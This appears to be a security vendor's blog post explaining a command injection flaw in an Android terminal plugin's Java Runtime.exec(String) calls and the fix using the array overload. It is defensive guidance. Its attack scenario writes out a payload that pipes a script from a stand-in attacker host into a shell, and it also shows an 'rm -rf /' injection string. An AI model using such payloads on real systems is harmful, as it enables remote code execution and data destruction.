Back to Blog
critical SEVERITY5 min read

How command injection happens in Java Runtime.exec() and how to fix it

A critical command injection vulnerability was discovered in `ProcessUtils.java` where process IDs were concatenated directly into shell command strings passed to `Runtime.getRuntime().exec(String)`. This allowed shell metacharacter injection that could execute arbitrary commands. The fix switches to the array-based `exec(String[])` overload, which bypasses shell interpretation entirely.

O
By Orbis AppSec
Published July 31, 2026Reviewed July 31, 2026

Answer Summary

This is a command injection vulnerability (CWE-78) in Java's `Runtime.getRuntime().exec(String)` within `ProcessUtils.java`. When a single string is passed to `exec()`, it is interpreted by the system shell, allowing metacharacters in the `pid` parameter to chain arbitrary commands. The fix uses the array-based overload `exec(String[])` which passes arguments directly to the OS without shell interpretation, eliminating injection risk.

Vulnerability at a Glance

cweCWE-78
fixSwitch from exec(String) to exec(String[]) to avoid shell metacharacter interpretation
riskArbitrary command execution on the device if pid is influenced by attacker-controlled data
languageJava (Android)
root causeConcatenating untrusted pid values into a single command string passed to shell-interpreted exec(String)
vulnerabilityOS Command Injection via Runtime.exec(String)

How Command Injection Happens in Java Runtime.exec() and How to Fix It

Introduction

The ProcessUtils.java file in src/plugins/terminal/src/android/ handles process lifecycle management for an Android terminal plugin—specifically killing processes and process trees. But a critical flaw at lines 45 and 57 created a command injection vector: the killProcessTree() and killProcess() methods concatenated process IDs directly into command strings passed to Runtime.getRuntime().exec(String).

This matters because the single-string overload of exec() invokes a system shell (/bin/sh -c) to interpret the command, meaning any shell metacharacters in the pid value—semicolons, pipes, backticks—could chain arbitrary commands. For a Node.js library consumed by downstream applications, this vulnerability could cascade to every project that depends on this terminal plugin.

The Vulnerability Explained

Here's the vulnerable code in ProcessUtils.java:

// In killProcessTree() at line 45:
Runtime.getRuntime().exec("kill -9 -" + pid);

// In killProcess() at line 57:
int exitCode = Runtime.getRuntime().exec("kill -9 " + pid).waitFor();

The critical distinction is between the two overloads of Runtime.exec():

  1. exec(String command) — Passes the string to the system shell for parsing. The shell interprets metacharacters.
  2. exec(String[] cmdarray) — Executes the program directly via the OS, with each array element as a separate argument. No shell involved.

When exec("kill -9 -" + pid) is called, the JVM effectively runs:

/bin/sh -c "kill -9 -<pid_value>"

Attack Scenario

Consider what happens if an attacker can influence the pid value. In this terminal plugin context, process IDs might come from process enumeration, inter-process communication, or stored process records. If an attacker manipulates the stored pid to be:

1234; curl http://attacker.com/shell.sh | sh

The resulting command becomes:

/bin/sh -c "kill -9 -1234; curl http://attacker.com/shell.sh | sh"

This executes the kill command, then downloads and executes a malicious script. On Android, this could mean:
- Exfiltrating app sandbox data
- Installing a persistent backdoor
- Pivoting to attack other apps on the device
- Accessing sensitive files within the app's storage

Even if the pid comes from getPid(process) (which extracts the PID from a Process object), the killProcess(int pid) method accepts an int parameter that could originate from untrusted sources in consuming applications. The int type provides some implicit protection, but the pattern itself is dangerous and sets a precedent for copy-paste vulnerabilities.

The Fix

The fix replaces the single-string exec() call with the array-based overload in both methods:

Before (vulnerable):

// killProcessTree() - line 45
Runtime.getRuntime().exec("kill -9 -" + pid);

// killProcess() - line 57
int exitCode = Runtime.getRuntime().exec("kill -9 " + pid).waitFor();

After (fixed):

// killProcessTree() - line 45
Runtime.getRuntime().exec(new String[]{"kill", "-9", "-" + pid});

// killProcess() - line 57
int exitCode = Runtime.getRuntime().exec(new String[]{"kill", "-9", String.valueOf(pid)}).waitFor();

Why This Works

The array-based exec(String[]) does not invoke a shell. Instead, it calls the operating system's execvp() syscall directly:

  • cmdarray[0] = the program to execute ("kill")
  • cmdarray[1] = first argument ("-9")
  • cmdarray[2] = second argument ("-" + pid or String.valueOf(pid))

Even if pid somehow contained "1234; rm -rf /", the OS would try to send signal 9 to a process with the literal name "-1234; rm -rf /", which would simply fail with an error—no command injection possible.

Additionally, note the use of String.valueOf(pid) in killProcess(). Since pid is already an int, this is strictly a type conversion, but it makes the intent explicit and prevents any future refactoring from accidentally introducing string concatenation vulnerabilities.

Prevention & Best Practices

  1. Always use the array form of exec(): In Java, Runtime.exec(String[]) or ProcessBuilder with a list of arguments should be the default choice. Never concatenate values into a single command string.

  2. Use ProcessBuilder for complex process management:
    java ProcessBuilder pb = new ProcessBuilder("kill", "-9", String.valueOf(pid)); Process p = pb.start(); int exitCode = p.waitFor();
    ProcessBuilder is the modern API and makes the array-based invocation natural.

  3. Validate inputs at boundaries: Even with safe execution APIs, validate that PIDs are positive integers before passing them to system calls.

  4. Lint for dangerous patterns: Configure static analysis tools (SpotBugs, Semgrep, ErrorProne) to flag Runtime.getRuntime().exec(String) calls where the argument is a concatenation expression.

  5. Apply the principle of least privilege: Terminal plugins should not run with permissions beyond what's strictly necessary. Consider whether kill -9 is always appropriate or if graceful termination should be attempted first.

Key Takeaways

  • Runtime.exec(String) invokes a shell; Runtime.exec(String[]) does not. This single API choice is the difference between injectable and safe code in ProcessUtils.java.
  • Process IDs seem safe but aren't always. The killProcess(int pid) method accepts external input—downstream consumers may pass attacker-influenced values.
  • The fix is minimal but eliminates the entire attack class. Two lines changed, zero behavioral difference for legitimate use, complete elimination of shell injection.
  • Copy-paste patterns propagate vulnerabilities. Both killProcessTree() and killProcess() used the same dangerous pattern—likely one was copied from the other.
  • Android terminal plugins are high-value targets. They already have process execution capabilities, making command injection particularly dangerous as it extends those capabilities beyond intended bounds.

How Orbis AppSec Detected This

  • Source: The pid parameter in killProcess(int pid) and the return value of getPid(process) in killProcessTree(), which may be influenced by external process data or attacker-controlled input.
  • Sink: Runtime.getRuntime().exec(String) in ProcessUtils.java at lines 45 and 57, where the single-string overload invokes shell interpretation.
  • Missing control: No use of the array-based exec(String[]) overload; no input sanitization to strip shell metacharacters; no validation that pid contains only numeric characters before command construction.
  • CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
  • Fix: Replaced exec(String) with exec(String[]) in both killProcessTree() and killProcess(), passing command and arguments as separate array elements to bypass shell interpretation entirely.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

This command injection in ProcessUtils.java demonstrates a subtle but critical distinction in Java's process execution API. The single-string Runtime.exec(String) looks convenient but introduces shell interpretation—and with it, the entire class of command injection attacks. The array-based exec(String[]) is equally simple to use but fundamentally safer because it bypasses the shell entirely.

For any Java or Android developer writing process management code: default to ProcessBuilder or exec(String[]). The single-string form should be treated as a code smell that warrants immediate review. Two lines of code separated a critical vulnerability from a secure implementation.

References

Frequently Asked Questions

What is OS command injection?

OS command injection occurs when an application constructs a system command using untrusted input without proper sanitization, allowing attackers to inject additional commands via shell metacharacters like `;`, `|`, or `&&`.

How do you prevent command injection in Java?

Use `Runtime.getRuntime().exec(String[])` with a string array instead of `exec(String)`. The array form bypasses the shell entirely, passing arguments directly to the operating system's exec syscall, preventing metacharacter interpretation.

What CWE is command injection?

CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').

Is input validation alone enough to prevent command injection?

Input validation helps but is not sufficient as a sole defense. The safest approach is to use APIs that avoid shell invocation entirely (like the String[] overload of exec()), combined with input validation as defense-in-depth.

Can static analysis detect command injection?

Yes, static analysis tools like Semgrep, SpotBugs, and CodeQL have rules that detect patterns where user-influenced data flows into shell-interpreted command execution APIs like `Runtime.exec(String)`.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #2557

Related Articles

critical

How missing authorization enforcement happens in Node.js Express routers and how to fix it

A critical authorization bypass was discovered in lib/router.js where readOnly and noDelete configuration options were only enforced through UI controls, not server-side middleware. Any authenticated user could bypass these restrictions by sending direct HTTP requests to perform destructive operations like database deletion or document modification. The fix adds Express middleware that enforces these security modes at the server level, blocking POST, PUT, and DELETE requests when appropriate.

critical

How Algolia API key exposure happens in EJS templates and how to fix it

A critical vulnerability in `layout/_plugins/global/config.ejs` was exposing Algolia API credentials — including `appId` and `apiKey` — directly in rendered HTML, making them visible to any user who inspects the page source. The fix removes raw credential interpolation from the template and replaces unsafe string embedding with properly sanitized output using `JSON.stringify()`. This eliminates the risk of unauthorized Algolia API access by anyone who visits the page.

high

How unauthenticated endpoint exposure happens in Node.js Express and how to fix it

A high-severity vulnerability in the AgenticATODetectionService allowed unauthenticated users to access sensitive agent status data, trigger detection scans, and view security alerts. The fix adds authentication middleware to four critical API endpoints, ensuring only authorized users can access these sensitive operations.

critical

How unsigned auto-update code execution happens in Node.js Neutralinojs and how to fix it

A critical vulnerability in the WeekBox application's self-update mechanism allowed attackers to serve malicious binaries through man-in-the-middle attacks or repository compromise. The `app-updater.service.js` file downloaded and installed updates from GitHub Releases without enforcing cryptographic hash verification before proceeding with the update. The fix adds mandatory SHA-256 digest validation that halts the update process if a valid hash is not present in the release metadata.

critical

How command injection via shell metacharacter escaping happens in Node.js and how to fix it

A critical command injection vulnerability was discovered in the GameBanana provider module where the `quoteCommandArgument()` function only escaped double quotes, leaving shell metacharacters like `$()`, backticks, and other dangerous patterns exploitable. Attackers could craft malicious mod URLs on GameBanana containing shell commands that would execute when users viewed the content. The fix switches from double-quote to single-quote escaping, which prevents shell interpretation of metacharact

critical

How SQL injection happens in PHP MySQLi and how to fix it

A critical SQL injection vulnerability was discovered in `sign_up.php` where user registration inputs—including Username and Email—were directly concatenated into SQL queries. Despite using `mysqli_real_escape_string()`, the code remained exploitable. The fix replaces all string-concatenated queries with MySQLi prepared statements and bound parameters, completely eliminating the injection vector.